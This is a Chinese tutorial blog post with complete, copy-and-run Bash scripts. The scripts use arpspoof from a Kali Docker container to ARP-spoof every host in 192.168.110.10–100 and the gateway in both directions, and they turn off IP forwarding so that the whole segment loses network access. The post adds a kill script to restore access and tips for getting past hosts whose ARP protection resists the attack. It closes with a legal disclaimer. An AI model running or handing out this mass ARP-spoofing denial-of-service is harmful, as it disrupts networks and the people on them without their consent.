用arpspoof实现100%批量切断192.168.110.10 - 192.168.110.100 断网(双向欺骗)--九五小庞

要实现对**192.168.110.10(192.168.110.10)~192.168.110.100(192.168.110.100)** 这个IP段的批量断网,核心还是基于ARP双向欺骗 ,结合Shell脚本实现批量遍历IP+自动启动arpspoof欺骗进程 ,无需手动逐个操作,适配你当前的Docker+Kali环境(--net=host --privileged),以下是可直接运行的完整方案(放弃ettercap,用arpspoof实现,稳定无参数兼容问题)。

核心原理

  1. 对网段内每个目标IP ,同时启动两个arpspoof进程:欺骗目标→网关、欺骗网关→目标(双向阻断);

  2. 关闭IP转发,让目标流量发往Kali容器后直接丢弃,实现断网;

  3. 用Shell脚本批量遍历IP段,自动创建后台进程,全程无需人工干预;

  4. 提供一键停止脚本,可快速恢复整个网段的网络。

前置准备(必做)

1. 确保Kali容器权限正确

必须是--net=host --privileged模式,重新启动容器(若已启动可跳过,确认权限即可):

复制代码
docker stop kali-docker && docker rm kali-docker docker run -it --name kali-docker --net=host --privileged kalilinux/kali-rolling:minimal /bin/bash

2. 安装依赖工具

复制代码
apt update && apt install -y dsniff net-tools psmisc # psmisc包含killall,用于批量停止进程

3. 关闭IP转发(核心,确保断网而非中间人)

复制代码
echo 0 > /proc/sys/net/ipv4/ip_forward cat /proc/sys/net/ipv4/ip_forward # 输出0表示成功

4. 确认核心信息(替换为你的实际信息)

脚本中需要用到网卡名 和网关IP,提前确认好:

复制代码
ip addr show # 确认网卡名:如你的enp0s20f0u1 route -n # 确认网关IP:如你的192.168.110.1

本次方案固定使用:

  • 网卡名:enp0s20f0u1

  • 网关IP:192.168.110.1

  • 目标网段:192.168.110.10~192.168.110.100

方案一:一键批量断网脚本(推荐,最简操作)

在Kali容器内创建Shell脚本arp_batch_down.sh,直接复制粘贴即可,无需修改(已适配你的环境)。

1. 创建脚本

复制代码
vim arp_batch_down.sh

2. 粘贴脚本内容

bash 复制代码
#!/bin/bash
# 批量ARP欺骗断网脚本:192.168.110.10~192.168.110.100
# 配置信息(适配你的环境,无需修改)
NIC="enp0s20f0u1"        # 网卡名
GATEWAY="192.168.110.1"  # 网关IP
START_IP=10              # 起始IP段
END_IP=100               # 结束IP段
BASE_IP="192.168.110."   # 基础IP段

# 检查是否为root权限
if [ $EUID -ne 0 ]; then
    echo "请以root权限运行:sudo $0"
    exit 1
fi

# 检查网卡是否存在
if ! ip link show $NIC > /dev/null 2>&1; then
    echo "错误:网卡$NIC不存在!"
    exit 1
fi

echo "===== 开始批量断网:$BASE_IP$START_IP ~ $BASE_IP$END_IP ====="
echo "网卡:$NIC | 网关:$GATEWAY"
echo "============================================================"

# 遍历IP段,启动双向arpspoof进程(后台运行)
for ((ip=$START_IP; ip<=$END_IP; ip++))
do
    TARGET="$BASE_IP$ip"
    # 后台启动:欺骗目标→网关
    arpspoof -i $NIC -t $TARGET $GATEWAY > /dev/null 2>&1 &
    # 后台启动:欺骗网关→目标
    arpspoof -i $NIC -t $GATEWAY $TARGET > /dev/null 2>&1 &
    echo "已启动对 $TARGET 的双向ARP欺骗,进程ID:$!"
done

echo "============================================================"
echo "✅ 批量断网操作完成!整个网段已无法上网"
echo "📌 停止断网请执行:bash arp_batch_up.sh"

3. 赋予执行权限并运行

复制代码
chmod +x arp_batch_down.sh bash arp_batch_down.sh

运行效果

脚本会自动遍历10~100的IP,为每个IP启动2个arpspoof后台进程,全程无交互,运行完成后整个网段立即断网。

方案二:一键恢复网络脚本(必配,快速恢复)

创建停止脚本arp_batch_up.sh,一键杀死所有arpspoof进程,恢复整个网段的网络,避免手动逐个停止。

1. 创建脚本

复制代码
vim arp_batch_up.sh

2. 粘贴脚本内容

bash 复制代码
#!/bin/bash
# 批量停止ARP欺骗,恢复网络脚本

# 检查是否为root权限
if [ $EUID -ne 0 ]; then
    echo "请以root权限运行:sudo $0"
    exit 1
fi

echo "===== 开始停止所有ARP欺骗进程 ====="
# 杀死所有arpspoof进程(安全,仅关闭欺骗进程)
killall -9 arpspoof > /dev/null 2>&1
# 清除Kali本地ARP缓存
arp -d > /dev/null 2>&1

echo "✅ 所有ARP欺骗进程已终止!"
echo "📌 目标网段会在1-5分钟内自动恢复上网(ARP缓存刷新)"
echo "💡 若需立即恢复,可在目标主机执行:arp -d *(Windows)/ arp -d 网关IP(Linux)"

3. 赋予执行权限

复制代码
chmod +x arp_batch_up.sh

恢复网络时运行

复制代码
bash arp_batch_up.sh

关键补充:脚本工作机制与验证

1. 查看欺骗进程是否在运行

复制代码
ps -ef | grep arpspoof | grep -v grep

会看到大量arpspoof进程,对应每个目标IP的双向欺骗,说明运行正常。

2. 验证网段是否断网

任选网段内一个IP(如192.168.110.20(192.168.110.20)),检查其网络:

  • 无法打开网页、无法ping通网关/外网;

  • 查看其ARP缓存,网关MAC会被篡改为Kali容器(宿主机)的MAC。

3. 进程管理说明

  • 所有arpspoof进程均为后台运行,关闭Kali终端不影响欺骗效果;

  • 仅能通过arp_batch_up.sh或killall -9 arpspoof停止;

  • 若重启Kali容器,进程会自动消失,无需手动停止。

批量断网的优化与注意事项

1. 适配其他网段/网卡

若需修改目标网段、网卡或网关,仅需修改arp_batch_down.sh中的配置信息部分:

复制代码
NIC="新网卡名" # 如wlan0、ens33 GATEWAY="新网关IP" # 如192.168.0.1 START_IP=5 # 新起始IP END_IP=50 # 新结束IP BASE_IP="192.168.0." # 新基础IP段

2. 避免网卡过载

10~100共91个IP,每个IP2个进程,总计182个arpspoof进程,对普通网卡无压力(百兆/千兆网卡均可承载),不会出现卡顿。

3. 解决部分主机未断网的问题

若个别主机未断网,原因是开启了ARP防护/静态ARP,解决方案:

  1. 临时关闭其安全软件(360、火绒、Windows Defender的ARP防护模块);

  2. 在目标主机手动清除ARP缓存:

    1. Windows:cmd中执行 arp -d *

    2. Linux/macOS:arp -d 192.168.110.1

重要提醒

该操作仅适用于授权的内网安全测试、企业内部合规的网络管理 ,未经允许对他人/企业网段进行批量断网,属于**严重违反《网络安全法》《刑法》**的行为,将面临民事赔偿、行政处罚甚至刑事追责,务必在合法合规的前提下使用。

相关推荐
微软技术分享5 小时前
面向二进制安全的大模型多智能体框架
网络·安全·web安全
冬奇Lab6 小时前
一天一个开源项目(第230篇):HandRaw-Style —— 把 327 种手绘风格、165 种排版、36 种配色编号化,让 AI 画图不再每次都飘
人工智能·开源·资讯
ttwuai8 小时前
Go后台管理系统开源项目:4个官方仓库怎么追溯和核验
开发语言·golang·开源
小码哥06810 小时前
JAVA充电桩管理系统:稳定可靠,支持多协议对接
开源·汽车·充电桩系统·充电桩·新能源汽车·充电桩管理
不悔哥10 小时前
开源 QEMU:不用板子也能跑嵌入式系统
开源
搁浅小泽10 小时前
新能源汽车多合一压缩机控制器CAN网络测试规范
网络·汽车
行者全栈架构师11 小时前
【鸿蒙心迹】从 TypeScript 迁移到 ArkTS——10 个编译报错逐个拆解(HarmonyOS 7.x)
前端·人工智能·开源
网络毒刘12 小时前
AtomGit 秋季活动向:AI 工具链相关开源仓库如何写好 README 与示例路径
开源·readme·ai工具链·atomgit
CEZ12 小时前
仓库数字化成熟度分级:JeeWMS 开源 Java 仓库管理系统如何支撑从可见到自治的四级跃迁
java·开源
xiwc12 小时前
AI Helper 实战:从零搭建开源项目的双语 Wiki
开源·ai编程